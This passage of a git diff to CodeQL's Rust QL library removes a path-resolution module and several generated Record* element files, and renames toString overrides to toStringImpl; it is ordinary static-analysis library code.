-
-  override Namespace getNamespace() {
-    if super.getFieldList() instanceof RecordFieldList then result.isType() else result.isValue()
-  }
-
-  override Visibility getVisibility() { result = Variant.super.getVisibility() }
-}
-
-class FunctionItemNode extends AssocItemNode instanceof Function {
-  override string getName() { result = Function.super.getName().getText() }
-
-  override predicate hasImplementation() { super.hasBody() }
-
-  override Namespace getNamespace() { result.isValue() }
-
-  override Visibility getVisibility() { result = Function.super.getVisibility() }
-}
-
-abstract private class ImplOrTraitItemNode extends ItemNode {
-  /** Gets an item that may refer to this node using `Self`. */
-  pragma[nomagic]
-  ItemNode getAnItemInSelfScope() {
-    result.getImmediateParent() = this
-    or
-    exists(ItemNode mid |
-      mid = this.getAnItemInSelfScope() and
-      result.getImmediateParent() = mid and
-      not mid instanceof ImplOrTraitItemNode
-    )
-  }
-}
-
-class ImplItemNode extends ImplOrTraitItemNode instanceof Impl {
-  Path getSelfPath() { result = super.getSelfTy().(PathTypeRepr).getPath() }
-
-  Path getTraitPath() { result = super.getTrait().(PathTypeRepr).getPath() }
-
-  ItemNode resolveSelfTy() { result = resolvePath(this.getSelfPath()) }
-
-  TraitItemNode resolveTraitTy() { result = resolvePath(this.getTraitPath()) }
-
-  /** Holds if this `impl` block declares an associated item named `name`. */
-  pragma[nomagic]
-  predicate hasAssocItem(string name) {
-    name = super.getAssocItemList().getAnAssocItem().(AssocItemNode).getName()
-  }
-
-  override string getName() { result = "(impl)" }
-
-  override Namespace getNamespace() {
-    result.isType() // can be referenced with `Self`
-  }
-
-  override Visibility getVisibility() { result = Impl.super.getVisibility() }
-}
-
-private class MacroCallItemNode extends AssocItemNode instanceof MacroCall {
-  override string getName() { result = "(macro call)" }
-
-  override predicate hasImplementation() { none() }
-
-  override Namespace getNamespace() { none() }
-
-  override Visibility getVisibility() { none() }
-}
-
-private class ModuleItemNode extends ModuleLikeNode instanceof Module {
-  override string getName() { result = Module.super.getName().getText() }
-
-  override Namespace getNamespace() { result.isType() }
-
-  override Visibility getVisibility() { result = Module.super.getVisibility() }
-}
-
-private class StructItemNode extends ItemNode instanceof Struct {
-  override string getName() { result = Struct.super.getName().getText() }
-
-  override Namespace getNamespace() {
-    result.isType() // the struct itself
-    or
-    not super.getFieldList() instanceof RecordFieldList and
-    result.isValue() // the constructor
-  }
-
-  override Visibility getVisibility() { result = Struct.super.getVisibility() }
-}
-
-class TraitItemNode extends ImplOrTraitItemNode instanceof Trait {
-  pragma[nomagic]
-  Path getABoundPath() {
-    result = super.getTypeBoundList().getABound().getTypeRepr().(PathTypeRepr).getPath()
-  }
-
-  ItemNode resolveABound() { result = resolvePath(this.getABoundPath()) }
-
-  /** Holds if this trait declares an associated item named `name`. */
-  pragma[nomagic]
-  predicate hasAssocItem(string name) {
-    name = super.getAssocItemList().getAnAssocItem().(AssocItemNode).getName()
-  }
-
-  override string getName() { result = Trait.super.getName().getText() }
-
-  override Namespace getNamespace() { result.isType() }
-
-  override Visibility getVisibility() { result = Trait.super.getVisibility() }
-}
-
-class TypeAliasItemNode extends AssocItemNode instanceof TypeAlias {
-  override string getName() { result = TypeAlias.super.getName().getText() }
-
-  override predicate hasImplementation() { super.hasTypeRepr() }
-
-  override Namespace getNamespace() { result.isType() }
-
-  override Visibility getVisibility() { result = TypeAlias.super.getVisibility() }
-}
-
-private class UnionItemNode extends ItemNode instanceof Union {
-  override string getName() { result = Union.super.getName().getText() }
-
-  override Namespace getNamespace() { result.isType() }
-
-  override Visibility getVisibility() { result = Union.super.getVisibility() }
-}
-
-private class UseItemNode extends ItemNode instanceof Use {
-  override string getName() { result = "(use)" }
-
-  override Namespace getNamespace() { none() }
-
-  override Visibility getVisibility() { none() }
-}
-
-private class BlockExprItemNode extends ItemNode instanceof BlockExpr {
-  override string getName() { result = "(block expr)" }
-
-  override Namespace getNamespace() { none() }
-
-  override Visibility getVisibility() { none() }
-}
-
-private class TypeParamItemNode extends ItemNode instanceof TypeParam {
-  pragma[nomagic]
-  Path getABoundPath() {
-    result = super.getTypeBoundList().getABound().getTypeRepr().(PathTypeRepr).getPath()
-  }
-
-  ItemNode resolveABound() { result = resolvePath(this.getABoundPath()) }
-
-  override string getName() { result = TypeParam.super.getName().getText() }
-
-  override Namespace getNamespace() { result.isType() }
-
-  override Visibility getVisibility() { none() }
-
-  override Location getLocation() { result = TypeParam.super.getName().getLocation() }
-}
-
-/** Holds if `item` has the name `name` and is a top-level item inside `f`. */
-private predicate sourceFileEdge(SourceFile f, string name, ItemNode item) {
-  item = f.getAnItem() and
-  name = item.getName()
-}
-
-/** Holds if `f` is available as `mod name;` inside `folder`. */
-private predicate fileModule(SourceFile f, string name, Folder folder) {
-  exists(File file | file = f.getFile() |
-    file.getBaseName() = name + ".rs" and
-    folder = file.getParentContainer()
-    or
-    exists(Folder encl |
-      file.getBaseName() = "mod.rs" and
-      encl = file.getParentContainer() and
-      name = encl.getBaseName() and
-      folder = encl.getParentContainer()
-    )
-  )
-}
-
-/**
- * Holds if `m` is a `mod name;` module declaration happening in a file named
- * `fileName.rs`, inside the folder `parent`.
- */
-private predicate modImport(Module m, string fileName, string name, Folder parent) {
-  exists(File f |
-    f = m.getFile() and
-    not m.hasItemList() and
-    // TODO: handle
-    // ```
-    // #[path = "foo.rs"]
-    // mod bar;
-    // ```
-    not m.getAnAttr().getMeta().getPath().getText() = "path" and
-    name = m.getName().getText() and
-    parent = f.getParentContainer() and
-    fileName = f.getStem()
-  )
-}
-
-/** Holds if `m` is a `mod name;` item importing file `f`. */
-private predicate fileImport(Module m, SourceFile f) {
-  exists(string fileName, string name, Folder parent | modImport(m, fileName, name, parent) |
-    // sibling import
-    fileModule(f, name, parent)
-    or
-    // child import
-    fileModule(f, name, parent.getFolder(fileName))
-  )
-}
-
-/**
- * Holds if `mod` is a `mod name;` item targeting a file resulting in `item` being
- * in scope under the name `name`.
- */
-private predicate fileImportEdge(Module mod, string name, ItemNode item) {
-  item.isPublic() and
-  exists(SourceFile f |
-    fileImport(mod, f) and
-    sourceFileEdge(f, name, item)
-  )
-}
-
-private predicate useTreeDeclares(UseTree tree, string name) {
-  not tree.isGlob() and
-  not exists(tree.getUseTreeList()) and
-  (
-    name = tree.getRename().getName().getText() and
-    name != "_"
-    or
-    not tree.hasRename() and
-    name = tree.getPath().getText()
-  )
-  or
-  exists(UseTree mid |
-    useTreeDeclares(mid, name) and
-    mid = tree.getUseTreeList().getAUseTree()
-  )
-}
-
-/**
- * Holds if `item` explicitly declares a sub item named `name` in the
- * namespace `ns`. This includes items declared by `use` statements,
- * except for glob imports.
- */
-pragma[nomagic]
-private predicate declares(ItemNode item, Namespace ns, string name) {
-  exists(ItemNode child | child.getImmediateParent() = item |
-    child.getName() = name and
-    child.getNamespace() = ns
-    or
-    useTreeDeclares(child.(Use).getUseTree(), name) and
-    exists(ns) // `use foo::bar` can refer to both a value and a type
-  )
-  or
-  exists(MacroCallItemNode call |
-    declares(call, ns, name) and
-    call.getImmediateParent() = item
-  )
-}
-
-/** A path that does not access a local variable. */
-private class RelevantPath extends Path {
-  RelevantPath() { not this = any(VariableAccess va).(PathExpr).getPath() }
-
-  pragma[nomagic]
-  predicate isUnqualified(string name) {
-    not exists(this.getQualifier()) and
-    not this = any(UseTreeList list).getAUseTree().getPath() and
-    name = this.getText()
-  }
-}
-
-/**
- * Holds if the unqualified path `p` references an item named `name`, and `name`
- * may be looked up in the `ns` namespace inside enclosing item `encl`.
- */
-pragma[nomagic]
-private predicate unqualifiedPathLookup(RelevantPath p, string name, Namespace ns, ItemNode encl) {
-  exists(ItemNode encl0 |
-    // lookup in the immediately enclosing item
-    p.isUnqualified(name) and
-    encl0.getADescendant() = p and
-    exists(ns)
-    or
-    // lookup in an outer scope, but only if the item is not declared in inner scope
-    exists(ItemNode mid |
-      unqualifiedPathLookup(p, name, ns, mid) and
-      not declares(mid, ns, name)
-    |
-      // nested modules do not have unqualified access to items from outer modules,
-      // except for items declared at top-level in the source file
-      if mid instanceof Module
-      then encl0.(SourceFileItemNode) = mid.getImmediateParent+()
-      else encl0 = mid.getImmediateParent()
-    )
-  |
-    // functions in `impl` blocks need to use explicit `Self::` to access other
-    // functions in the `impl` block
-    if encl0 instanceof ImplOrTraitItemNode and ns.isValue()
-    then encl = encl0.getImmediateParent()
-    else encl = encl0
-  )
-}
-
-pragma[nomagic]
-private ItemNode getASuccessor(ItemNode pred, string name, Namespace ns) {
-  result = pred.getASuccessor(name) and
-  ns = result.getNamespace()
-}
-
-pragma[nomagic]
-private ItemNode resolvePath0(RelevantPath path) {
-  exists(ItemNode encl, Namespace ns, string name, ItemNode res |
-    unqualifiedPathLookup(path, name, ns, encl) and
-    res = getASuccessor(encl, name, ns)
-  |
-    if
-      not any(RelevantPath parent).getQualifier() = path and
-      name = "Self" and
-      res instanceof ImplItemNode
-    then result = res.(ImplItemNode).resolveSelfTy()
-    else result = res
-  )
-  or
-  exists(ItemNode q, string name |
-    q = resolvePathQualifier(path, name) and
-    result = q.getASuccessor(name)
-  )
-  or
-  result = resolveUseTreeListItem(_, _, path)
-}
-
-/** Holds if path `p` must be looked up in namespace `n`. */
-private predicate pathUsesNamespace(Path p, Namespace n) {
-  n.isValue() and
-  (
-    p = any(PathExpr pe).getPath()
-    or
-    p = any(TupleStructPat tsp).getPath()
-  )
-  or
-  n.isType() and
-  (
-    p = any(Visibility v).getPath()
-    or
-    p = any(RecordExpr re).getPath()
-    or
-    p = any(PathTypeRepr ptr).getPath()
-    or
-    p = any(RecordPat rp).getPath()
-    or
-    p =
-      any(UseTree use |
-        use.isGlob()
-        or
-        use.hasUseTreeList()
-      ).getPath()
-    or
-    p = any(Path parent).getQualifier()
-  )
-}
-
-/** Gets the item that `path` resolves to, if any. */
-cached
-ItemNode resolvePath(RelevantPath path) {
-  result = resolvePath0(path) and
-  (
-    pathUsesNamespace(path, result.getNamespace())
-    or
-    not pathUsesNamespace(path, _)
-  )
-}
-
-pragma[nomagic]
-private ItemNode resolvePathQualifier(RelevantPath path, string name) {
-  result = resolvePath(path.getQualifier()) and
-  name = path.getText()
-}
-
-private predicate isUseTreeSubPath(UseTree tree, RelevantPath path) {
-  path = tree.getPath()
-  or
-  exists(RelevantPath mid |
-    isUseTreeSubPath(tree, mid) and
-    path = mid.getQualifier()
-  )
-}
-
-pragma[nomagic]
-private predicate isUseTreeSubPathUnqualified(UseTree tree, RelevantPath path, string name) {
-  isUseTreeSubPath(tree, path) and
-  not exists(path.getQualifier()) and
-  name = path.getText()
-}
-
-pragma[nomagic]
-private ItemNode resolveUseTreeListItem(Use use, UseTree tree, RelevantPath path) {
-  exists(UseTree midTree, ItemNode mid, string name |
-    mid = resolveUseTreeListItem(use, midTree) and
-    tree = midTree.getUseTreeList().getAUseTree() and
-    isUseTreeSubPathUnqualified(tree, path, pragma[only_bind_into](name)) and
-    result = mid.getASuccessor(pragma[only_bind_into](name))
-  )
-  or
-  exists(ItemNode q, string name |
-    q = resolveUseTreeListItemQualifier(use, tree, path, name) and
-    result = q.getASuccessor(name)
-  )
-}
-
-pragma[nomagic]
-private ItemNode resolveUseTreeListItemQualifier(
-  Use use, UseTree tree, RelevantPath path, string name
-) {
-  result = resolveUseTreeListItem(use, tree, path.getQualifier()) and
-  name = path.getText()
-}
-
-pragma[nomagic]
-private ItemNode resolveUseTreeListItem(Use use, UseTree tree) {
-  tree = use.getUseTree() and
-  result = resolvePath(tree.getPath())
-  or
-  result = resolveUseTreeListItem(use, tree, tree.getPath())
-}
-
-/** Holds if `use` imports `item` as `name`. */
-pragma[nomagic]
-private predicate useImportEdge(Use use, string name, ItemNode item) {
-  exists(UseTree tree, ItemNode used |
-    used = resolveUseTreeListItem(use, tree) and
-    not tree.hasUseTreeList() and
-    if tree.isGlob()
-    then
-      exists(ItemNode encl, Namespace ns |
-        encl.getADescendant() = use and
-        item = getASuccessor(used, name, ns) and
-        // glob imports can be shadowed
-        not declares(encl, ns, name)
-      )
-    else item = used
-  |
-    not tree.hasRename() and
-    name = item.getName()
-    or
-    name = tree.getRename().getName().getText() and
-    name != "_"
-  )
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll
index 6d585d61efca..84cb37fcf610 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll
@@ -16,7 +16,7 @@ module Impl {
    * A path segment, which is one part of a whole path.
    */
   class PathSegment extends Generated::PathSegment {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() {
       result = strictconcat(int i | | this.toAbbreviatedStringPart(i), "::" order by i)
@@ -24,7 +24,7 @@ module Impl {
 
     private string toAbbreviatedStringPart(int index) {
       index = 0 and
-      if this.hasTypeRepr() then result = "<...>" else result = this.getNameRef().getText()
+      if this.hasTypeRepr() then result = "<...>" else result = this.getIdentifier().getText()
       or
       index = 1 and result = this.getGenericArgList().toAbbreviatedString()
     }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll
index fb1e8cd380ed..cadb690afe86 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll
@@ -20,7 +20,7 @@ module Impl {
    * ```
    */
   class PathTypeRepr extends Generated::PathTypeRepr {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() { result = this.getPath().toAbbreviatedString() }
   }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll
index 56fd5914660e..bf77c7b88ea4 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll
@@ -21,6 +21,6 @@ module Impl {
    * ```
    */
   class PrefixExpr extends Generated::PrefixExpr {
-    override string toString() { result = this.getOperatorName() + " ..." }
+    override string toStringImpl() { result = this.getOperatorName() + " ..." }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RangeExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RangeExprImpl.qll
index 3b8989af7821..fa8afac50090 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/RangeExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/RangeExprImpl.qll
@@ -24,7 +24,7 @@ module Impl {
    * ```
    */
   class RangeExpr extends Generated::RangeExpr {
-    override string toString() { result = concat(int i | | this.toStringPart(i) order by i) }
+    override string toStringImpl() { result = concat(int i | | this.toStringPart(i) order by i) }
 
     private string toStringPart(int index) {
       index = 0 and result = this.getStartAbbreviation()
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordExprConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordExprConstructor.qll
deleted file mode 100644
index 0916035bd30d..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordExprConstructor.qll
+++ /dev/null
@@ -1,14 +0,0 @@
-// generated by codegen, remove this comment if you wish to edit this file
-/**
- *  This module defines the hook used internally to tweak the characteristic predicate of
- *  `RecordExpr` synthesized instances.
- *  INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.Raw
-
-/**
- *  The characteristic predicate of `RecordExpr` synthesized instances.
- *  INTERNAL: Do not use.
- */
-predicate constructRecordExpr(Raw::RecordExpr id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldConstructor.qll
deleted file mode 100644
index fa093cb59545..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldConstructor.qll
+++ /dev/null
@@ -1,14 +0,0 @@
-// generated by codegen, remove this comment if you wish to edit this file
-/**
- *  This module defines the hook used internally to tweak the characteristic predicate of
- *  `RecordExprField` synthesized instances.
- *  INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.Raw
-
-/**
- *  The characteristic predicate of `RecordExprField` synthesized instances.
- *  INTERNAL: Do not use.
- */
-predicate constructRecordExprField(Raw::RecordExprField id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldImpl.qll
deleted file mode 100644
index 1a2a8f72348e..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldImpl.qll
+++ /dev/null
@@ -1,53 +0,0 @@
-/**
- * This module provides a hand-modifiable wrapper around the generated class `RecordExprField`.
- *
- * INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.RecordExprField
-
-/**
- * INTERNAL: This module contains the customizable definition of `RecordExprField` and should not
- * be referenced directly.
- */
-module Impl {
-  private import rust
-  private import codeql.rust.elements.internal.PathImpl::Impl as PathImpl
-
-  // the following QLdoc is generated: if you need to edit it, do it in the schema file
-  /**
-   * A field in a record expression. For example `a: 1` in:
-   * ```rust
-   * Foo { a: 1, b: 2 };
-   * ```
-   */
-  class RecordExprField extends Generated::RecordExprField {
-    override string toString() { result = concat(int i | | this.toStringPart(i) order by i) }
-
-    private string toStringPart(int index) {
-      index = 0 and result = this.getNameRef().getText()
-      or
-      index = 1 and this.hasNameRef() and result = ": "
-      or
-      index = 2 and
-      result = this.getExpr().toAbbreviatedString()
-    }
-
-    /**
-     * Gets the name of the field. This includes the case when shorthand syntax is used:
-     *
-     * ```rust
-     * Foo {
-     *   a: 1, // field name is `a`
-     *   b     // field name is `b`
-     * }
-     * ```
-     */
-    string getFieldName() {
-      result = this.getNameRef().getText()
-      or
-      not this.hasNameRef() and
-      result = this.getExpr().(PathExpr).getPath().(PathImpl::IdentPath).getName()
-    }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldListConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldListConstructor.qll
deleted file mode 100644
index 6ced8f30ce41..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldListConstructor.qll
+++ /dev/null
@@ -1,14 +0,0 @@
-// generated by codegen, remove this comment if you wish to edit this file
-/**
- *  This module defines the hook used internally to tweak the characteristic predicate of
- *  `RecordExprFieldList` synthesized instances.
- *  INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.Raw
-
-/**
- *  The characteristic predicate of `RecordExprFieldList` synthesized instances.
- *  INTERNAL: Do not use.
- */
-predicate constructRecordExprFieldList(Raw::RecordExprFieldList id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldListImpl.qll
deleted file mode 100644
index cc93f5fa8a6f..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordExprFieldListImpl.qll
+++ /dev/null
@@ -1,22 +0,0 @@
-// generated by codegen, remove this comment if you wish to edit this file
-/**
- * This module provides a hand-modifiable wrapper around the generated class `RecordExprFieldList`.
- *
- * INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.RecordExprFieldList
-
-/**
- * INTERNAL: This module contains the customizable definition of `RecordExprFieldList` and should not
- * be referenced directly.
- */
-module Impl {
-  /**
-   * A RecordExprFieldList. For example:
-   * ```rust
-   * todo!()
-   * ```
-   */
-  class RecordExprFieldList extends Generated::RecordExprFieldList { }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordExprImpl.qll
deleted file mode 100644
index 7a0c0275c99a..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordExprImpl.qll
+++ /dev/null
@@ -1,42 +0,0 @@
-/**
- * This module provides a hand-modifiable wrapper around the generated class `RecordExpr`.
- *
- * INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.RecordExpr
-
-/**
- * INTERNAL: This module contains the customizable definition of `RecordExpr` and should not
- * be referenced directly.
- */
-module Impl {
-  private import rust
-  private import PathResolution as PathResolution
-
-  // the following QLdoc is generated: if you need to edit it, do it in the schema file
-  /**
-   * A record expression. For example:
-   * ```rust
-   * let first = Foo { a: 1, b: 2 };
-   * let second = Foo { a: 2, ..first };
-   * Foo { a: 1, b: 2 }[2] = 10;
-   * Foo { .. } = second;
-   * ```
-   */
-  class RecordExpr extends Generated::RecordExpr {
-    override string toString() { result = this.getPath().toString() + " {...}" }
-
-    /** Gets the record field that matches the `name` field of this record expression. */
-    pragma[nomagic]
-    RecordField getRecordField(string name) {
-      exists(PathResolution::ItemNode i |
-        i = PathResolution::resolvePath(this.getPath()) and
-        name = this.getRecordExprFieldList().getAField().getFieldName()
-      |
-        result.isStructField(i, name) or
-        result.isVariantField(i, name)
-      )
-    }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordFieldConstructor.qll
deleted file mode 100644
index 2a4ea101e5b1..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldConstructor.qll
+++ /dev/null
@@ -1,14 +0,0 @@
-// generated by codegen, remove this comment if you wish to edit this file
-/**
- *  This module defines the hook used internally to tweak the characteristic predicate of
- *  `RecordField` synthesized instances.
- *  INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.Raw
-
-/**
- *  The characteristic predicate of `RecordField` synthesized instances.
- *  INTERNAL: Do not use.
- */
-predicate constructRecordField(Raw::RecordField id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordFieldImpl.qll
deleted file mode 100644
index 47774e5c7f7c..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldImpl.qll
+++ /dev/null
@@ -1,30 +0,0 @@
-/**
- * This module provides a hand-modifiable wrapper around the generated class `RecordField`.
- *
- * INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.RecordField
-
-/**
- * INTERNAL: This module contains the customizable definition of `RecordField` and should not
- * be referenced directly.
- */
-module Impl {
-  private import rust
-
-  // the following QLdoc is generated: if you need to edit it, do it in the schema file
-  /**
-   * A RecordField. For example:
-   * ```rust
-   * todo!()
-   * ```
-   */
-  class RecordField extends Generated::RecordField {
-    /** Holds if this record field is named `name` and belongs to the variant `v`. */
-    predicate isVariantField(Variant v, string name) { this = v.getRecordField(name) }
-
-    /** Holds if this record field is named `name` and belongs to the struct `s`. */
-    predicate isStructField(Struct s, string name) { this = s.getRecordField(name) }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldListConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordFieldListConstructor.qll
deleted file mode 100644
index 184df0deb036..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldListConstructor.qll
+++ /dev/null
@@ -1,14 +0,0 @@
-// generated by codegen, remove this comment if you wish to edit this file
-/**
- *  This module defines the hook used internally to tweak the characteristic predicate of
- *  `RecordFieldList` synthesized instances.
- *  INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.Raw
-
-/**
- *  The characteristic predicate of `RecordFieldList` synthesized instances.
- *  INTERNAL: Do not use.
- */
-predicate constructRecordFieldList(Raw::RecordFieldList id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordFieldListImpl.qll
deleted file mode 100644
index 732cecf0065d..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldListImpl.qll
+++ /dev/null
@@ -1,22 +0,0 @@
-// generated by codegen, remove this comment if you wish to edit this file
-/**
- * This module provides a hand-modifiable wrapper around the generated class `RecordFieldList`.
- *
- * INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.RecordFieldList
-
-/**
- * INTERNAL: This module contains the customizable definition of `RecordFieldList` and should not
- * be referenced directly.
- */
-module Impl {
-  /**
-   * A RecordFieldList. For example:
-   * ```rust
-   * todo!()
-   * ```
-   */
-  class RecordFieldList extends Generated::RecordFieldList { }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordPatConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordPatConstructor.qll
deleted file mode 100644
index 882ee4994c09..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordPatConstructor.qll
+++ /dev/null
@@ -1,14 +0,0 @@
-// generated by codegen, remove this comment if you wish to edit this file
-/**
- *  This module defines the hook used internally to tweak the characteristic predicate of
- *  `RecordPat` synthesized instances.
- *  INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.Raw
-
-/**
- *  The characteristic predicate of `RecordPat` synthesized instances.
- *  INTERNAL: Do not use.
- */
-predicate constructRecordPat(Raw::RecordPat id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldConstructor.qll
deleted file mode 100644
index 0a4858b8d114..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldConstructor.qll
+++ /dev/null
@@ -1,14 +0,0 @@
-// generated by codegen, remove this comment if you wish to edit this file
-/**
- *  This module defines the hook used internally to tweak the characteristic predicate of
- *  `RecordPatField` synthesized instances.
- *  INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.Raw
-
-/**
- *  The characteristic predicate of `RecordPatField` synthesized instances.
- *  INTERNAL: Do not use.
- */
-predicate constructRecordPatField(Raw::RecordPatField id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldImpl.qll
deleted file mode 100644
index ecf4152a1e06..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldImpl.qll
+++ /dev/null
@@ -1,52 +0,0 @@
-/**
- * This module provides a hand-modifiable wrapper around the generated class `RecordPatField`.
- *
- * INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.RecordPatField
-
-/**
- * INTERNAL: This module contains the customizable definition of `RecordPatField` and should not
- * be referenced directly.
- */
-module Impl {
-  private import rust
-
-  // the following QLdoc is generated: if you need to edit it, do it in the schema file
-  /**
-   * A field in a record pattern. For example `a: 1` in:
-   * ```rust
-   * let Foo { a: 1, b: 2 } = foo;
-   * ```
-   */
-  class RecordPatField extends Generated::RecordPatField {
-    override string toString() { result = concat(int i | | this.toStringPart(i) order by i) }
-
-    private string toStringPart(int index) {
-      index = 0 and result = this.getNameRef().getText()
-      or
-      index = 1 and this.hasNameRef() and result = ": "
-      or
-      index = 2 and
-      result = this.getPat().toAbbreviatedString()
-    }
-
-    /**
-     * Gets the name of the field. This includes the case when shorthand syntax is used:
-     *
-     * ```rust
-     * match foo {
-     *   Foo { x: a, .. } => ..., // field name is `x`
-     *   Bar { y, .. } => ...     // field name is `y`
-     * }
-     * ```
-     */
-    string getFieldName() {
-      result = this.getNameRef().getText()
-      or
-      not this.hasNameRef() and
-      result = this.getPat().(IdentPat).getName().getText()
-    }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldListConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldListConstructor.qll
deleted file mode 100644
index a9af6ed2acb8..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldListConstructor.qll
+++ /dev/null
@@ -1,14 +0,0 @@
-// generated by codegen, remove this comment if you wish to edit this file
-/**
- *  This module defines the hook used internally to tweak the characteristic predicate of
- *  `RecordPatFieldList` synthesized instances.
- *  INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.Raw
-
-/**
- *  The characteristic predicate of `RecordPatFieldList` synthesized instances.
- *  INTERNAL: Do not use.
- */
-predicate constructRecordPatFieldList(Raw::RecordPatFieldList id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldListImpl.qll
deleted file mode 100644
index d0a706bd198f..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordPatFieldListImpl.qll
+++ /dev/null
@@ -1,22 +0,0 @@
-// generated by codegen, remove this comment if you wish to edit this file
-/**
- * This module provides a hand-modifiable wrapper around the generated class `RecordPatFieldList`.
- *
- * INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.RecordPatFieldList
-
-/**
- * INTERNAL: This module contains the customizable definition of `RecordPatFieldList` and should not
- * be referenced directly.
- */
-module Impl {
-  /**
-   * A RecordPatFieldList. For example:
-   * ```rust
-   * todo!()
-   * ```
-   */
-  class RecordPatFieldList extends Generated::RecordPatFieldList { }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RecordPatImpl.qll
deleted file mode 100644
index 037ac67bbde9..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/RecordPatImpl.qll
+++ /dev/null
@@ -1,42 +0,0 @@
-/**
- * This module provides a hand-modifiable wrapper around the generated class `RecordPat`.
- *
- * INTERNAL: Do not use.
- */
-
-private import codeql.rust.elements.internal.generated.RecordPat
-
-/**
- * INTERNAL: This module contains the customizable definition of `RecordPat` and should not
